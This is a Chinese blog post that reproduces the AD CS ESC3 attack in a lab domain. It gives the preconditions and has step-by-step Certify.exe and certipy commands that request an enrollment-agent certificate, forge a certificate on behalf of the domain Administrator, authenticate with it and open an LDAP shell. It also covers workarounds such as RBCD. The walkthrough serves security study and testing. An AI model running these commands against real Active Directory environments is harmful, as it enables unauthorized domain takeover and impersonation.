首页 > 其他分享 >adcs-ec3利用

adcs-ec3利用

时间:2022-12-24 23:03:06浏览次数:122  
标签:域控制器 证书 CA 代理 利用 ec3 adcs pfx com

引用

https://posts.specterops.io/certified-pre-owned-d95910965cd2
https://www.cnblogs.com/sakura521/p/15489745.html
https://blog.keniver.com/

需要条件

企业 CA 授予低特权用户注册权限。细节与 ESC1 相同。
批准被禁用。细节与 ESC1 相同。
不需要授权签名。细节与 ESC1 相同。
过于宽松的证书模板安全描述符将证书注册权限授予低特权用户。细节与 ESC1 相同。
证书模板定义证书请求代理 EKU。证书请求代理 OID (1.3.6.1.4.1.311.20.2.1) 允许代表其他委托人请求其他证书模板。
注册代理限制未在 CA 上实施。

大致是证书的应用程序策略 是证书申请代理 ,通过该策略模版进行证书申请,然后通过eku指定其他用户进行伪造

漏洞复现

创造一个证书代理模版 复制users的模板

image.png

需要修改的地方为应用程序策略处 修改为证书申请代理

image.png

其他不用变化就行

这时候通过 certify 我们可以看到 esc3 的一些属性变更

image.png

mspki-certificate-application-policy应用程序策略为 证书申请代理,满足低权限用户进行注册

申请certify 的esc3 证书

Certify.exe request /ca:"dc.x.com\X-DC-CA" /template:ESC3

image.png

注入伪造用户pfx

Certify.exe request /ca:"dc.x.com\X-DC-CA" /template:User /onbehalfof:X\administrator /enrollcert:x.pfx

image.png

然后转pfx 就行

使用certipy 进行操作

申请代理证书

certipy req -username [email protected] -ca X-DC-CA -template esc3 -dc-ip 192.168.37.188

image.png

代理administrator 操作

We can then use the Certificate Request Agent certificate (-pfx) to request a certificate on behalf of other another user by specifying the -on-behalf-of. The -on-behalf-of parameter value must be in the form of domain\user, and not the FQDN of the domain, i.e. corp rather than corp.local.

这里 得用 x 不能用x.com  在hosts里也将x 加入hosts  x 192.168.37.188
certipy req -username [email protected] -ca X-DC-CA -template User -on-behalf-of 'x\Administrator' -pfx x.pfx -debug 

image.png

解密 administrator

certipy auth -pfx administrator.pfx -dc-ip 192.168.37.188

image.png

这里有两种情况 出现了 KDC_ERR_PADATA_TYPE_NOSUPP

微软的解释

KDC 不支持 PADATA 类型 (预身份验证数据)	正在尝试智能卡登录,但找不到正确的证书。 出现此问题的原因可能是,正在查询错误的证书颁发机构 (CA) ,或者无法联系正确的 CA 以获取域控制器的域控制器或域控制器身份验证证书。
当域控制器没有为智能卡安装证书 (域控制器或域控制器身份验证模板) 时,也会发生这种情况。

如果可以控制 DC ,只要在 AD 的 Computer Configuration -> Administrative Templates (Computers) -> System -> KDC ,将 KDC support for PKInit Freshness Extension 设为 Enable,即可启动 PKInit
或者尝试其他域控
或者打rbcd 通过bloodyad 进行证书连接后 设置rbcd委派sid
高权限pfx 直接连接ldap-shell 进行操作

certipy auth -pfx a.pfx -dc-ip '192.168.37.188' -ldap-shell -debug

image.png

image.png

image.png

image.png

标签:域控制器,证书,CA,代理,利用,ec3,adcs,pfx,com
From: https://www.cnblogs.com/xxxxuan/p/17003493.html

相关文章

  • C++ sort函数中利用lambda进行自定义排序规则
    在c++中,由于sort()函数默认提供的是由小到大的排序方式,因此有时候我们需要自定义排序规则来实现由大到小的排序。一维vector<>排序#include<bits/stdc++.h>usingnam......
  • 【数据结构】利用Python手把手带你自定义矩阵
    前言什么是矩阵矩阵,Matrix。在数学上,矩阵是指纵横排列的二维数据表格,最早来自于方程组的系数及常数所构成的方阵。这一概念由19世纪英国数学家凯利首先提出。矩阵是高等代数......
  • 利用反射代替switch
    根据传进来不同的值,调用不同的方法ViewCodeprotectedvoidbtn_SwitchClick(objectsender,EventArgse){stringresult="";switch(ddlMethod.SelectedValue)......
  • 利用SQL Server XML拆分数据
    DECLARE@strIDVARCHAR(200)='1,2,3';DECLARE@xmlXML;SELECT@xml=CONVERT(XML,'<root><place><id>'+REPLACE(@strID,',','</id></place><place><id>')+'</id......
  • 废物利用,笔记本显示器拆机使用
    我自己有个老笔记本已经坏了,本来打算扔掉,忽然有个想法,可以吧显示器拆下来使用啊。于是上网查资料,还真可以。特此记录,方便以后查找。下面是步骤。把笔记本显示器拆下来。......
  • 树莓派利用摄像头实现web在线监控
    1、https://shumeipai.nxez.com/2021/10/21/raspberry-pi-usb-camera-to-realize-remote-network-monitoring.html2、上个链接执行到第六步时,可以采用下面的方法:2.1若使......
  • 利用VMWare Server 2.0创建共享磁盘
    前段时间要做共享型​​双机热备​​由于没有共享存储所以需要使用虚拟存储,搞了很久最后发现WorkStation创建的共享磁盘不能用在集群里面,特此整理了利用VMWare Server创建......
  • 利用VirtualBox安装Ubuntu详细图文教程
    在VirtualBox虚拟机中安装Ubuntu系统也很简单,下面是详细的图文教程,请大家参考。VirtualBox虚拟机安装过程略。1.创建一个新的虚拟机 给虚拟机命名,选择合适的Ubuntu版本。2.......
  • 利用集群技术实现Web服务器的负载均衡(转载)
    利用集群技术实现Web服务器的负载均衡集群和负载均衡的概念集群(Cluster)所谓集群是指一组独立的计算机系统构成的一个松耦合的多处理器系统,它们之间通过网络实现进程间......
  • 利用 electron 和 nsis 将前端项目打包成可安装的桌面应用
    打包为可安装的桌面应用打包需要下载安装 nisi 和 nisedit 两个软件,下载地址如下:安装按默认设置安装即可。 nsis下载地址:https://pan.baidu.com/s/1mitSQU0 安......